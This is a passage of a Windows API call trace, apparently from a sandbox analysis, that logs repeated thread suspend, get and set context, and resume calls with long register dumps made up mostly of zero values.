[136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0096.388] SetThreadContext (hThread=0x130, lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10297, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000146170, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12f89c0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0096.510] ResumeThread (hThread=0x130) returned 0x1
[0096.510] CloseHandle (hObject=0x130) returned 1
[0096.510] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0096.553] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0096.595] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0096.698] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0096.778] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0096.778] SuspendThread (hThread=0x130) returned 0x0
[0096.778] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10207, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000145f18, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x140fffc, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0096.848] SetThreadContext (hThread=0x130, lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10207, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000145f10, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12f89c0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0096.924] ResumeThread (hThread=0x130) returned 0x1
[0096.924] CloseHandle (hObject=0x130) returned 1
[0096.924] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0096.961] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0097.000] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0097.079] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0097.173] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0097.173] SuspendThread (hThread=0x130) returned 0x0
[0097.174] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147858, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x1435e40, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0097.345] SetThreadContext (hThread=0x130, lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147850, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12f89c0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, 